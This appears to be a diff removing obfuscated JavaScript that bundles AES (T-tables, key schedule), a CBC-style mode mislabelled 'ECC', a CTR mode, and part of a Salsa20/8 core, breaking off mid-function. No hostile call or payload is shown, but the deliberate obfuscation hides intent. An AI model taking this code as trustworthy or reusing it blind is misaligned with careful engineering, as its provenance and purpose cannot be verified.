- const _0x529797 = [0, 185469197, 370938394, 487725847, 741876788, 657861945, 975451694, 824852259, 1483753576, 1400783205, 1315723890, 1164071807, 1950903388, 2135319889, 1649704518, 1767536459, 2967507152, 3152976349, 2801566410, 2918353863, 2631447780, 2547432937, 2328143614, 2177544179, 3901806776, 3818836405, 4270639778, 4118987695, 3299409036, 3483825537, 3535072918, 3652904859, 2077965243, 1893020342, 1841768865, 1724457132, 1474502543, 1559041666, 1107234197, 1257309336, 598438867, 681933534, 901210569, 1052338372, 261314535, 77422314, 428819965, 310463728, 3409685355, 3224740454, 3710368113, 3593056380, 3875770207, 3960309330, 4045380933, 4195456072, 2471224067, 2554718734, 2237133081, 2388260884, 3212035895, 3028143674, 2842678573, 2724322336, 4138563181, 4255350624, 3769721975, 3955191162, 3667219033, 3516619604, 3431546947, 3347532110, 2933734917, 2782082824, 3099667487, 3016697106, 2196052529, 2313884476, 2499348523, 2683765030, 1179510461, 1296297904, 1347548327, 1533017514, 1786102409, 1635502980, 2087309459, 2003294622, 507358933, 355706840, 136428751, 53458370, 839224033, 957055980, 605657339, 790073846, 2373340630, 2256028891, 2607439820, 2422494913, 2706270690, 2856345839, 3075636216, 3160175349, 3573941694, 3725069491, 3273267108, 3356761769, 4181598602, 4063242375, 4011996048, 3828103837, 1033297158, 915985419, 730517276, 545572369, 296679730, 446754879, 129166120, 213705253, 1709610350, 1860738147, 1945798516, 2029293177, 1239331162, 1120974935, 1606591296, 1422699085, 4148292826, 4233094615, 3781033664, 3931371469, 3682191598, 3497509347, 3446004468, 3328955385, 2939266226, 2755636671, 3106780840, 2988687269, 2198438022, 2282195339, 2501218972, 2652609425, 1201765386, 1286567175, 1371368976, 1521706781, 1805211710, 1620529459, 2105887268, 1988838185, 533804130, 350174575, 164439672, 46346101, 870912086, 954669403, 636813900, 788204353, 2358957921, 2274680428, 2592523643, 2441661558, 2695033685, 2880240216, 3065962831, 3182487618, 3572145929, 3756299780, 3270937875, 3388507166, 4174560061, 4091327024, 4006521127, 3854606378, 1014646705, 930369212, 711349675, 560487590, 272786309, 457992840, 106852767, 223377554, 1678381017, 1862534868, 1914052035, 2031621326, 1211247597, 1128014560, 1580087799, 1428173050, 32283319, 182621114, 401639597, 486441376, 768917123, 651868046, 1003007129, 818324884, 1503449823, 1385356242, 1333838021, 1150208456, 1973745387, 2125135846, 1673061617, 1756818940, 2970356327, 3120694122, 2802849917, 2887651696, 2637442643, 2520393566, 2334669897, 2149987652, 3917234703, 3799141122, 4284502037, 4100872472, 3309594171, 3460984630, 3545789473, 3629546796, 2050466060, 1899603969, 1814803222, 1730525723, 1443857720, 1560382517, 1075025698, 1260232239, 575138148, 692707433, 878443390, 1062597235, 243256656, 91341917, 409198410, 325965383, 3403100636, 3252238545, 3704300486, 3620022987, 3874428392, 3990953189, 4042459122, 4227665663, 2460449204, 2578018489, 2226875310, 2411029155, 3198115200, 3046200461, 2827177882, 2743944855];
- const _0x3497ed = [0, 218828297, 437656594, 387781147, 875313188, 958871085, 775562294, 590424639, 1750626376, 1699970625, 1917742170, 2135253587, 1551124588, 1367295589, 1180849278, 1265195639, 3501252752, 3720081049, 3399941250, 3350065803, 3835484340, 3919042237, 4270507174, 4085369519, 3102249176, 3051593425, 2734591178, 2952102595, 2361698556, 2177869557, 2530391278, 2614737639, 3145456443, 3060847922, 2708326185, 2892417312, 2404901663, 2187128086, 2504130317, 2555048196, 3542330227, 3727205754, 3375740769, 3292445032, 3876557655, 3926170974, 4246310725, 4027744588, 1808481195, 1723872674, 1910319033, 2094410160, 1608975247, 1391201670, 1173430173, 1224348052, 59984867, 244860394, 428169201, 344873464, 935293895, 984907214, 766078933, 547512796, 1844882806, 1627235199, 2011214180, 2062270317, 1507497298, 1423022939, 1137477952, 1321699145, 95345982, 145085239, 532201772, 313773861, 830661914, 1015671571, 731183368, 648017665, 3175501286, 2957853679, 2807058932, 2858115069, 2305455554, 2220981195, 2474404304, 2658625497, 3575528878, 3625268135, 3473416636, 3254988725, 3778151818, 3963161475, 4213447064, 4130281361, 3599595085, 3683022916, 3432737375, 3247465558, 3802222185, 4020912224, 4172763771, 4122762354, 3201631749, 3017672716, 2764249623, 2848461854, 2331590177, 2280796200, 2431590963, 2648976442, 104699613, 188127444, 472615631, 287343814, 840019705, 1058709744, 671593195, 621591778, 1852171925, 1668212892, 1953757831, 2037970062, 1514790577, 1463996600, 1080017571, 1297403050, 3673637356, 3623636965, 3235995134, 3454686199, 4007360968, 3822090177, 4107101658, 4190530515, 2997825956, 3215212461, 2830708150, 2779915199, 2256734592, 2340947849, 2627016082, 2443058075, 172466556, 122466165, 273792366, 492483431, 1047239000, 861968209, 612205898, 695634755, 1646252340, 1863638845, 2013908262, 1963115311, 1446242576, 1530455833, 1277555970, 1093597963, 1636604631, 1820824798, 2073724613, 1989249228, 1436590835, 1487645946, 1337376481, 1119727848, 164948639, 81781910, 331544205, 516552836, 1039717051, 821288114, 669961897, 719700128, 2973530695, 3157750862, 2871682645, 2787207260, 2232435299, 2283490410, 2667994737, 2450346104, 3647212047, 3564045318, 3279033885, 3464042516, 3980931627, 3762502690, 4150144569, 4199882800, 3070356634, 3121275539, 2904027272, 2686254721, 2200818878, 2384911031, 2570832044, 2486224549, 3747192018, 3528626907, 3310321856, 3359936201, 3950355702, 3867060991, 4049844452, 4234721005, 1739656202, 1790575107, 2108100632, 1890328081, 1402811438, 1586903591, 1233856572, 1149249077, 266959938, 48394827, 369057872, 418672217, 1002783846, 919489135, 567498868, 752375421, 209336225, 24197544, 376187827, 459744698, 945164165, 895287692, 574624663, 793451934, 1679968233, 1764313568, 2117360635, 1933530610, 1343127501, 1560637892, 1243112415, 1192455638, 3704280881, 3519142200, 3336358691, 3419915562, 3907448597, 3857572124, 4075877127, 4294704398, 3029510009, 3113855344, 2927934315, 2744104290, 2159976285, 2377486676, 2594734927, 2544078150];
- const _0x12b321 = [0, 151849742, 303699484, 454499602, 607398968, 758720310, 908999204, 1059270954, 1214797936, 1097159550, 1517440620, 1400849762, 1817998408, 1699839814, 2118541908, 2001430874, 2429595872, 2581445614, 2194319100, 2345119218, 3034881240, 3186202582, 2801699524, 2951971274, 3635996816, 3518358430, 3399679628, 3283088770, 4237083816, 4118925222, 4002861748, 3885750714, 1002142683, 850817237, 698445255, 548169417, 529487843, 377642221, 227885567, 77089521, 1943217067, 2061379749, 1640576439, 1757691577, 1474760595, 1592394909, 1174215055, 1290801793, 2875968315, 2724642869, 3111247143, 2960971305, 2405426947, 2253581325, 2638606623, 2487810577, 3808662347, 3926825029, 4044981591, 4162096729, 3342319475, 3459953789, 3576539503, 3693126241, 1986918061, 2137062819, 1685577905, 1836772287, 1381620373, 1532285339, 1078185097, 1229899655, 1040559837, 923313619, 740276417, 621982671, 439452389, 322734571, 137073913, 19308535, 3871163981, 4021308739, 4104605777, 4255800159, 3263785589, 3414450555, 3499326569, 3651041127, 2933202493, 2815956275, 3167684641, 3049390895, 2330014213, 2213296395, 2566595609, 2448830231, 1305906550, 1155237496, 1607244650, 1455525988, 1776460110, 1626319424, 2079897426, 1928707164, 96392454, 213114376, 396673818, 514443284, 562755902, 679998000, 865136418, 983426092, 3708173718, 3557504664, 3474729866, 3323011204, 4180808110, 4030667424, 3945269170, 3794078908, 2507040230, 2623762152, 2272556026, 2390325492, 2975484382, 3092726480, 2738905026, 2857194700, 3973773121, 3856137295, 4274053469, 4157467219, 3371096953, 3252932727, 3673476453, 3556361835, 2763173681, 2915017791, 3064510765, 3215307299, 2156299017, 2307622919, 2459735317, 2610011675, 2081048481, 1963412655, 1846563261, 1729977011, 1480485785, 1362321559, 1243905413, 1126790795, 878845905, 1030690015, 645401037, 796197571, 274084841, 425408743, 38544885, 188821243, 3613494426, 3731654548, 3313212038, 3430322568, 4082475170, 4200115116, 3780097726, 3896688048, 2668221674, 2516901860, 2366882550, 2216610296, 3141400786, 2989552604, 2837966542, 2687165888, 1202797690, 1320957812, 1437280870, 1554391400, 1669664834, 1787304780, 1906247262, 2022837584, 265905162, 114585348, 499347990, 349075736, 736970802, 585122620, 972512814, 821712160, 2595684844, 2478443234, 2293045232, 2174754046, 3196267988, 3079546586, 2895723464, 2777952454, 3537852828, 3687994002, 3234156416, 3385345166, 4142626212, 4293295786, 3841024952, 3992742070, 174567692, 57326082, 410887952, 292596766, 777231668, 660510266, 1011452712, 893681702, 1108339068, 1258480242, 1343618912, 1494807662, 1715193156, 1865862730, 1948373848, 2100090966, 2701949495, 2818666809, 3004591147, 3122358053, 2235061775, 2352307457, 2535604243, 2653899549, 3915653703, 3764988233, 4219352155, 4067639125, 3444575871, 3294430577, 3746175075, 3594982253, 836553431, 953270745, 600235211, 718002117, 367585007, 484830689, 133361907, 251657213, 2041877159, 1891211689, 1806599355, 1654886325, 1568718495, 1418573201, 1335535747, 1184342925];
- function _0x4a1bb8(_0xd14ef3) {
- const _0x3dce6f = [];
- for (let _0x351165 = 0; _0x351165 < _0xd14ef3.length; _0x351165 += 4) {
- _0x3dce6f.push(_0xd14ef3[_0x351165] << 24 | _0xd14ef3[_0x351165 + 1] << 16 | _0xd14ef3[_0x351165 + 2] << 8 | _0xd14ef3[_0x351165 + 3]);
- }
- return _0x3dce6f;
- }
- class _0x886e3d {
- get key() {
- return _0x17be42(this, _0x258f1a, "f").slice();
- }
- constructor(_0x30d3c1) {
- if (_0x258f1a.set(this, undefined), _0x17eb17.set(this, undefined), _0x8be7d4.set(this, undefined), !(this instanceof _0x886e3d)) {
- throw Error("AES must be instanitated with `new`");
- }
- _0x3ad650(this, _0x258f1a, new Uint8Array(_0x30d3c1), "f");
- const _0x5c7fef = _0x3d92e4[this.key.length];
- if (null == _0x5c7fef) {
- throw new TypeError("invalid key size (must be 16, 24 or 32 bytes)");
- }
- _0x3ad650(this, _0x8be7d4, [], "f");
- _0x3ad650(this, _0x17eb17, [], "f");
- for (let _0x227dd9 = 0; _0x227dd9 <= _0x5c7fef; _0x227dd9++) {
- _0x17be42(this, _0x8be7d4, "f").push([0, 0, 0, 0]);
- _0x17be42(this, _0x17eb17, "f").push([0, 0, 0, 0]);
- }
- const _0x44a3f4 = 4 * (_0x5c7fef + 1);
- const _0x5ed6fb = this.key.length / 4;
- const _0x3e24c0 = _0x4a1bb8(this.key);
- let _0x16b3cd;
- for (let _0x2bbcb3 = 0; _0x2bbcb3 < _0x5ed6fb; _0x2bbcb3++) {
- _0x16b3cd = _0x2bbcb3 >> 2;
- _0x17be42(this, _0x8be7d4, "f")[_0x16b3cd][_0x2bbcb3 % 4] = _0x3e24c0[_0x2bbcb3];
- _0x17be42(this, _0x17eb17, "f")[_0x5c7fef - _0x16b3cd][_0x2bbcb3 % 4] = _0x3e24c0[_0x2bbcb3];
- }
- let _0x7968fc;
- let _0x455670 = 0;
- let _0x49a9a7 = _0x5ed6fb;
- for (; _0x49a9a7 < _0x44a3f4;) {
- if (_0x7968fc = _0x3e24c0[_0x5ed6fb - 1], _0x3e24c0[0] ^= _0x3e9ada[_0x7968fc >> 16 & 255] << 24 ^ _0x3e9ada[_0x7968fc >> 8 & 255] << 16 ^ _0x3e9ada[255 & _0x7968fc] << 8 ^ _0x3e9ada[_0x7968fc >> 24 & 255] ^ _0x365a84[_0x455670] << 24, _0x455670 += 1, 8 != _0x5ed6fb) {
- for (let _0x430eb6 = 1; _0x430eb6 < _0x5ed6fb; _0x430eb6++) {
- _0x3e24c0[_0x430eb6] ^= _0x3e24c0[_0x430eb6 - 1];
- }
- } else {
- for (let _0x2a071b = 1; _0x2a071b < _0x5ed6fb / 2; _0x2a071b++) {
- _0x3e24c0[_0x2a071b] ^= _0x3e24c0[_0x2a071b - 1];
- }
- _0x7968fc = _0x3e24c0[_0x5ed6fb / 2 - 1];
- _0x3e24c0[_0x5ed6fb / 2] ^= _0x3e9ada[255 & _0x7968fc] ^ _0x3e9ada[_0x7968fc >> 8 & 255] << 8 ^ _0x3e9ada[_0x7968fc >> 16 & 255] << 16 ^ _0x3e9ada[_0x7968fc >> 24 & 255] << 24;
- for (let _0xa575a9 = _0x5ed6fb / 2 + 1; _0xa575a9 < _0x5ed6fb; _0xa575a9++) {
- _0x3e24c0[_0xa575a9] ^= _0x3e24c0[_0xa575a9 - 1];
- }
- }
- let _0x3ee09b;
- let _0x4b6dfe;
- let _0x5ada69 = 0;
- for (; _0x5ada69 < _0x5ed6fb && _0x49a9a7 < _0x44a3f4;) {
- _0x3ee09b = _0x49a9a7 >> 2;
- _0x4b6dfe = _0x49a9a7 % 4;
- _0x17be42(this, _0x8be7d4, "f")[_0x3ee09b][_0x4b6dfe] = _0x3e24c0[_0x5ada69];
- _0x17be42(this, _0x17eb17, "f")[_0x5c7fef - _0x3ee09b][_0x4b6dfe] = _0x3e24c0[_0x5ada69++];
- _0x49a9a7++;
- }
- }
- for (let _0xe52ee9 = 1; _0xe52ee9 < _0x5c7fef; _0xe52ee9++) {
- for (let _0x367383 = 0; _0x367383 < 4; _0x367383++) {
- _0x7968fc = _0x17be42(this, _0x17eb17, "f")[_0xe52ee9][_0x367383];
- _0x17be42(this, _0x17eb17, "f")[_0xe52ee9][_0x367383] = _0x5f220b[_0x7968fc >> 24 & 255] ^ _0x529797[_0x7968fc >> 16 & 255] ^ _0x3497ed[_0x7968fc >> 8 & 255] ^ _0x12b321[255 & _0x7968fc];
- }
- }
- }
- encrypt(_0x2f688c) {
- if (16 != _0x2f688c.length) {
- throw new TypeError("invalid plaintext size (must be 16 bytes)");
- }
- const _0x14b7e9 = _0x17be42(this, _0x8be7d4, "f").length - 1;
- const _0x5d30b4 = [0, 0, 0, 0];
- let _0x4000c8 = _0x4a1bb8(_0x2f688c);
- for (let _0x405610 = 0; _0x405610 < 4; _0x405610++) {
- _0x4000c8[_0x405610] ^= _0x17be42(this, _0x8be7d4, "f")[0][_0x405610];
- }
- for (let _0x12a006 = 1; _0x12a006 < _0x14b7e9; _0x12a006++) {
- for (let _0x1c6a3e = 0; _0x1c6a3e < 4; _0x1c6a3e++) {
- _0x5d30b4[_0x1c6a3e] = _0x35706b[_0x4000c8[_0x1c6a3e] >> 24 & 255] ^ _0x24e2eb[_0x4000c8[(_0x1c6a3e + 1) % 4] >> 16 & 255] ^ _0x296195[_0x4000c8[(_0x1c6a3e + 2) % 4] >> 8 & 255] ^ _0x53b5e7[255 & _0x4000c8[(_0x1c6a3e + 3) % 4]] ^ _0x17be42(this, _0x8be7d4, "f")[_0x12a006][_0x1c6a3e];
- }
- _0x4000c8 = _0x5d30b4.slice();
- }
- const _0x113f78 = new Uint8Array(16);
- let _0x243bc8 = 0;
- for (let _0x3f8b22 = 0; _0x3f8b22 < 4; _0x3f8b22++) {
- _0x243bc8 = _0x17be42(this, _0x8be7d4, "f")[_0x14b7e9][_0x3f8b22];
- _0x113f78[4 * _0x3f8b22] = 255 & (_0x3e9ada[_0x4000c8[_0x3f8b22] >> 24 & 255] ^ _0x243bc8 >> 24);
- _0x113f78[4 * _0x3f8b22 + 1] = 255 & (_0x3e9ada[_0x4000c8[(_0x3f8b22 + 1) % 4] >> 16 & 255] ^ _0x243bc8 >> 16);
- _0x113f78[4 * _0x3f8b22 + 2] = 255 & (_0x3e9ada[_0x4000c8[(_0x3f8b22 + 2) % 4] >> 8 & 255] ^ _0x243bc8 >> 8);
- _0x113f78[4 * _0x3f8b22 + 3] = 255 & (_0x3e9ada[255 & _0x4000c8[(_0x3f8b22 + 3) % 4]] ^ _0x243bc8);
- }
- return _0x113f78;
- }
- decrypt(_0x34debd) {
- if (16 != _0x34debd.length) {
- throw new TypeError("invalid ciphertext size (must be 16 bytes)");
- }
- const _0x83107d = _0x17be42(this, _0x17eb17, "f").length - 1;
- const _0x22c164 = [0, 0, 0, 0];
- let _0x5621e8 = _0x4a1bb8(_0x34debd);
- for (let _0x36f0a4 = 0; _0x36f0a4 < 4; _0x36f0a4++) {
- _0x5621e8[_0x36f0a4] ^= _0x17be42(this, _0x17eb17, "f")[0][_0x36f0a4];
- }
- for (let _0x220918 = 1; _0x220918 < _0x83107d; _0x220918++) {
- for (let _0x1f1282 = 0; _0x1f1282 < 4; _0x1f1282++) {
- _0x22c164[_0x1f1282] = _0x33d93e[_0x5621e8[_0x1f1282] >> 24 & 255] ^ _0x3349a9[_0x5621e8[(_0x1f1282 + 3) % 4] >> 16 & 255] ^ _0x4fb7f4[_0x5621e8[(_0x1f1282 + 2) % 4] >> 8 & 255] ^ _0x3765c7[255 & _0x5621e8[(_0x1f1282 + 1) % 4]] ^ _0x17be42(this, _0x17eb17, "f")[_0x220918][_0x1f1282];
- }
- _0x5621e8 = _0x22c164.slice();
- }
- const _0x24e65a = new Uint8Array(16);
- let _0x4864b7 = 0;
- for (let _0x5563ac = 0; _0x5563ac < 4; _0x5563ac++) {
- _0x4864b7 = _0x17be42(this, _0x17eb17, "f")[_0x83107d][_0x5563ac];
- _0x24e65a[4 * _0x5563ac] = 255 & (_0x34d32e[_0x5621e8[_0x5563ac] >> 24 & 255] ^ _0x4864b7 >> 24);
- _0x24e65a[4 * _0x5563ac + 1] = 255 & (_0x34d32e[_0x5621e8[(_0x5563ac + 3) % 4] >> 16 & 255] ^ _0x4864b7 >> 16);
- _0x24e65a[4 * _0x5563ac + 2] = 255 & (_0x34d32e[_0x5621e8[(_0x5563ac + 2) % 4] >> 8 & 255] ^ _0x4864b7 >> 8);
- _0x24e65a[4 * _0x5563ac + 3] = 255 & (_0x34d32e[255 & _0x5621e8[(_0x5563ac + 1) % 4]] ^ _0x4864b7);
- }
- return _0x24e65a;
- }
- }
- _0x258f1a = new WeakMap();
- _0x17eb17 = new WeakMap();
- _0x8be7d4 = new WeakMap();
- class _0x42edea {
- constructor(_0x4d3ceb, _0xd1e74e, _0x4d2ba6) {
- if (_0x4d2ba6 && !(this instanceof _0x4d2ba6)) {
- throw new Error(_0x4d3ceb + " must be instantiated with \"new\"");
- }
- Object.defineProperties(this, {
- aes: {
- enumerable: true,
- value: new _0x886e3d(_0xd1e74e)
- },
- name: {
- enumerable: true,
- value: _0x4d3ceb
- }
- });
- }
- }
- var _0x4fff65;
- var _0x18bceb;
- var _0x50b7f9 = function (_0x1d0607, _0x4bd437, _0x3efab8, _0x3c3fc1, _0x1f3648) {
- if ("m" === _0x3c3fc1) {
- throw new TypeError("Private method is not writable");
- }
- if ("a" === _0x3c3fc1 && !_0x1f3648) {
- throw new TypeError("Private accessor was defined without a setter");
- }
- if ("function" == typeof _0x4bd437 ? _0x1d0607 !== _0x4bd437 || !_0x1f3648 : !_0x4bd437.has(_0x1d0607)) {
- throw new TypeError("Cannot write private member to an object whose class did not declare it");
- }
- "a" === _0x3c3fc1 ? _0x1f3648.call(_0x1d0607, _0x3efab8) : _0x1f3648 ? _0x1f3648.value = _0x3efab8 : _0x4bd437.set(_0x1d0607, _0x3efab8);
- return _0x3efab8;
- };
- var _0x3e1065 = function (_0x69d983, _0x1ee5a9, _0x29c5a5, _0xb17dac) {
- if ("a" === _0x29c5a5 && !_0xb17dac) {
- throw new TypeError("Private accessor was defined without a getter");
- }
- if ("function" == typeof _0x1ee5a9 ? _0x69d983 !== _0x1ee5a9 || !_0xb17dac : !_0x1ee5a9.has(_0x69d983)) {
- throw new TypeError("Cannot read private member from an object whose class did not declare it");
- }
- return "m" === _0x29c5a5 ? _0xb17dac : "a" === _0x29c5a5 ? _0xb17dac.call(_0x69d983) : _0xb17dac ? _0xb17dac.value : _0x1ee5a9.get(_0x69d983);
- };
- class _0x5c0c22 extends _0x42edea {
- constructor(_0x41c4e7, _0x4370b2) {
- if (super("ECC", _0x41c4e7, _0x5c0c22), _0x4fff65.set(this, undefined), _0x18bceb.set(this, undefined), _0x4370b2) {
- if (_0x4370b2.length % 16) {
- throw new TypeError("invalid iv size (must be 16 bytes)");
- }
- _0x50b7f9(this, _0x4fff65, new Uint8Array(_0x4370b2), "f");
- } else {
- _0x50b7f9(this, _0x4fff65, new Uint8Array(16), "f");
- }
- _0x50b7f9(this, _0x18bceb, this.iv, "f");
- }
- get iv() {
- return new Uint8Array(_0x3e1065(this, _0x4fff65, "f"));
- }
- encrypt(_0x23f195) {
- if (_0x23f195.length % 16) {
- throw new TypeError("invalid plaintext size (must be multiple of 16 bytes)");
- }
- const _0x29cde4 = new Uint8Array(_0x23f195.length);
- for (let _0x50d9f9 = 0; _0x50d9f9 < _0x23f195.length; _0x50d9f9 += 16) {
- for (let _0x5edc4e = 0; _0x5edc4e < 16; _0x5edc4e++) {
- _0x3e1065(this, _0x18bceb, "f")[_0x5edc4e] ^= _0x23f195[_0x50d9f9 + _0x5edc4e];
- }
- _0x50b7f9(this, _0x18bceb, this.aes.encrypt(_0x3e1065(this, _0x18bceb, "f")), "f");
- _0x29cde4.set(_0x3e1065(this, _0x18bceb, "f"), _0x50d9f9);
- }
- return _0x29cde4;
- }
- decrypt(_0x2bf80f) {
- if (_0x2bf80f.length % 16) {
- throw new TypeError("invalid ciphertext size (must be multiple of 16 bytes)");
- }
- const _0x2d2ed6 = new Uint8Array(_0x2bf80f.length);
- for (let _0x1d4ed1 = 0; _0x1d4ed1 < _0x2bf80f.length; _0x1d4ed1 += 16) {
- const _0x4ff862 = this.aes.decrypt(_0x2bf80f.subarray(_0x1d4ed1, _0x1d4ed1 + 16));
- for (let _0x1e49dc = 0; _0x1e49dc < 16; _0x1e49dc++) {
- _0x2d2ed6[_0x1d4ed1 + _0x1e49dc] = _0x4ff862[_0x1e49dc] ^ _0x3e1065(this, _0x18bceb, "f")[_0x1e49dc];
- _0x3e1065(this, _0x18bceb, "f")[_0x1e49dc] = _0x2bf80f[_0x1d4ed1 + _0x1e49dc];
- }
- }
- return _0x2d2ed6;
- }
- }
- _0x4fff65 = new WeakMap();
- _0x18bceb = new WeakMap();
- new WeakMap();
- new WeakMap();
- new WeakSet();
- var _0x218d58;
- var _0x503418;
- var _0x122613;
- var _0x3629ed = function (_0x23c005, _0x3fa5b3, _0x5adf19, _0x3b10e2, _0x5162cc) {
- if ("m" === _0x3b10e2) {
- throw new TypeError("Private method is not writable");
- }
- if ("a" === _0x3b10e2 && !_0x5162cc) {
- throw new TypeError("Private accessor was defined without a setter");
- }
- if ("function" == typeof _0x3fa5b3 ? _0x23c005 !== _0x3fa5b3 || !_0x5162cc : !_0x3fa5b3.has(_0x23c005)) {
- throw new TypeError("Cannot write private member to an object whose class did not declare it");
- }
- "a" === _0x3b10e2 ? _0x5162cc.call(_0x23c005, _0x5adf19) : _0x5162cc ? _0x5162cc.value = _0x5adf19 : _0x3fa5b3.set(_0x23c005, _0x5adf19);
- return _0x5adf19;
- };
- var _0x48685e = function (_0x5f0c9d, _0x567921, _0x12e9e5, _0x318ff0) {
- if ("a" === _0x12e9e5 && !_0x318ff0) {
- throw new TypeError("Private accessor was defined without a getter");
- }
- if ("function" == typeof _0x567921 ? _0x5f0c9d !== _0x567921 || !_0x318ff0 : !_0x567921.has(_0x5f0c9d)) {
- throw new TypeError("Cannot read private member from an object whose class did not declare it");
- }
- return "m" === _0x12e9e5 ? _0x318ff0 : "a" === _0x12e9e5 ? _0x318ff0.call(_0x5f0c9d) : _0x318ff0 ? _0x318ff0.value : _0x567921.get(_0x5f0c9d);
- };
- class _0x349a77 extends _0x42edea {
- constructor(_0x410d3d, _0x393150) {
- super("CTR", _0x410d3d, _0x349a77);
- _0x218d58.set(this, undefined);
- _0x503418.set(this, undefined);
- _0x122613.set(this, undefined);
- _0x3629ed(this, _0x122613, new Uint8Array(16), "f");
- _0x48685e(this, _0x122613, "f").fill(0);
- _0x3629ed(this, _0x218d58, _0x48685e(this, _0x122613, "f"), "f");
- _0x3629ed(this, _0x503418, 16, "f");
- null == _0x393150 && (_0x393150 = 1);
- "number" == typeof _0x393150 ? this.setCounterValue(_0x393150) : this.setCounterBytes(_0x393150);
- }
- get counter() {
- return new Uint8Array(_0x48685e(this, _0x122613, "f"));
- }
- setCounterValue(_0x141d75) {
- if (!Number.isInteger(_0x141d75) || _0x141d75 < 0 || _0x141d75 > Number.MAX_SAFE_INTEGER) {
- throw new TypeError("invalid counter initial integer value");
- }
- for (let _0x36d1eb = 15; _0x36d1eb >= 0; --_0x36d1eb) {
- _0x48685e(this, _0x122613, "f")[_0x36d1eb] = _0x141d75 % 256;
- _0x141d75 = Math.floor(_0x141d75 / 256);
- }
- }
- setCounterBytes(_0x4410e6) {
- if (16 !== _0x4410e6.length) {
- throw new TypeError("invalid counter initial Uint8Array value length");
- }
- _0x48685e(this, _0x122613, "f").set(_0x4410e6);
- }
- increment() {
- for (let _0x2a525f = 15; _0x2a525f >= 0; _0x2a525f--) {
- if (255 !== _0x48685e(this, _0x122613, "f")[_0x2a525f]) {
- _0x48685e(this, _0x122613, "f")[_0x2a525f]++;
- break;
- }
- _0x48685e(this, _0x122613, "f")[_0x2a525f] = 0;
- }
- }
- encrypt(_0x11294c) {
- var _0x217e2f;
- var _0x2c7f8d;
- const _0x13e216 = new Uint8Array(_0x11294c);
- for (let _0x292891 = 0; _0x292891 < _0x13e216.length; _0x292891++) {
- 16 === _0x48685e(this, _0x503418, "f") && (_0x3629ed(this, _0x218d58, this.aes.encrypt(_0x48685e(this, _0x122613, "f")), "f"), _0x3629ed(this, _0x503418, 0, "f"), this.increment());
- _0x13e216[_0x292891] ^= _0x48685e(this, _0x218d58, "f")[_0x3629ed(this, _0x503418, (_0x2c7f8d = _0x48685e(this, _0x503418, "f"), _0x217e2f = _0x2c7f8d++, _0x2c7f8d), "f"), _0x217e2f];
- }
- return _0x13e216;
- }
- decrypt(_0x4609bf) {
- return this.encrypt(_0x4609bf);
- }
- }
- _0x218d58 = new WeakMap();
- _0x503418 = new WeakMap();
- _0x122613 = new WeakMap();
- new WeakMap();
- new WeakMap();
- new WeakMap();
- const _0x1490e0 = (_0x3829bd, _0x52059d) => _0x3829bd << _0x52059d | _0x3829bd >>> 32 - _0x52059d;
- function _0x58bbeb(_0x3a9c80, _0x23dc00, _0x993063, _0x34bb74, _0x32e096, _0x371149) {
- let _0x25a237 = _0x3a9c80[_0x23dc00++] ^ _0x993063[_0x34bb74++];
- let _0x2e03a8 = _0x3a9c80[_0x23dc00++] ^ _0x993063[_0x34bb74++];
- let _0x21a4b4 = _0x3a9c80[_0x23dc00++] ^ _0x993063[_0x34bb74++];
- let _0x7f5f66 = _0x3a9c80[_0x23dc00++] ^ _0x993063[_0x34bb74++];
- let _0x24c9cf = _0x3a9c80[_0x23dc00++] ^ _0x993063[_0x34bb74++];
- let _0x383d10 = _0x3a9c80[_0x23dc00++] ^ _0x993063[_0x34bb74++];
- let _0x273e0e = _0x3a9c80[_0x23dc00++] ^ _0x993063[_0x34bb74++];
- let _0x19ed3a = _0x3a9c80[_0x23dc00++] ^ _0x993063[_0x34bb74++];
- let _0x1806fd = _0x3a9c80[_0x23dc00++] ^ _0x993063[_0x34bb74++];
- let _0xe86a6b = _0x3a9c80[_0x23dc00++] ^ _0x993063[_0x34bb74++];
- let _0x5201d7 = _0x3a9c80[_0x23dc00++] ^ _0x993063[_0x34bb74++];
- let _0x2994db = _0x3a9c80[_0x23dc00++] ^ _0x993063[_0x34bb74++];
- let _0x59033e = _0x3a9c80[_0x23dc00++] ^ _0x993063[_0x34bb74++];
- let _0x1dcca9 = _0x3a9c80[_0x23dc00++] ^ _0x993063[_0x34bb74++];
- let _0x48be8b = _0x3a9c80[_0x23dc00++] ^ _0x993063[_0x34bb74++];
- let _0x4e6136 = _0x3a9c80[_0x23dc00++] ^ _0x993063[_0x34bb74++];
- let _0x2f7aaf = _0x25a237;
- let _0x498c58 = _0x2e03a8;
- let _0x38e3c3 = _0x21a4b4;
- let _0x1a3deb = _0x7f5f66;
- let _0x1bcaad = _0x24c9cf;
- let _0x1ac784 = _0x383d10;
- let _0x102f06 = _0x273e0e;
- let _0x5fec = _0x19ed3a;
- let _0x1f0c75 = _0x1806fd;
- let _0x44712d = _0xe86a6b;
- let _0xec314e = _0x5201d7;
- let _0x5a0cdf = _0x2994db;
- let _0x4e52f1 = _0x59033e;
- let _0x2b7273 = _0x1dcca9;
- let _0x28df01 = _0x48be8b;
- let _0x46941f = _0x4e6136;
- for (let _0x1d50c5 = 0; _0x1d50c5 < 8; _0x1d50c5 += 2) {
- _0x1bcaad ^= _0x1490e0(_0x2f7aaf + _0x4e52f1 | 0, 7);
- _0x1f0c75 ^= _0x1490e0(_0x1bcaad + _0x2f7aaf | 0, 9);
- _0x4e52f1 ^= _0x1490e0(_0x1f0c75 + _0x1bcaad | 0, 13);
- _0x2f7aaf ^= _0x1490e0(_0x4e52f1 + _0x1f0c75 | 0, 18);
- _0x44712d ^= _0x1490e0(_0x1ac784 + _0x498c58 | 0, 7);
- _0x2b7273 ^= _0x1490e0(_0x44712d + _0x1ac784 | 0, 9);
- _0x498c58 ^= _0x1490e0(_0x2b7273 + _0x44712d | 0, 13);
- _0x1ac784 ^= _0x1490e0(_0x498c58 + _0x2b7273 | 0, 18);
- _0x28df01 ^= _0x1490e0(_0xec314e + _0x102f06 | 0, 7);
- _0x38e3c3 ^= _0x1490e0(_0x28df01 + _0xec314e | 0, 9);
- _0x102f06 ^= _0x1490e0(_0x38e3c3 + _0x28df01 | 0, 13);
- _0xec314e ^= _0x1490e0(_0x102f06 + _0x38e3c3 | 0, 18);
- _0x1a3deb ^= _0x1490e0(_0x46941f + _0x5a0cdf | 0, 7);
- _0x5fec ^= _0x1490e0(_0x1a3deb + _0x46941f | 0, 9);
- _0x5a0cdf ^= _0x1490e0(_0x5fec + _0x1a3deb | 0, 13);
- _0x46941f ^= _0x1490e0(_0x5a0cdf + _0x5fec | 0, 18);
- _0x498c58 ^= _0x1490e0(_0x2f7aaf + _0x1a3deb | 0, 7);
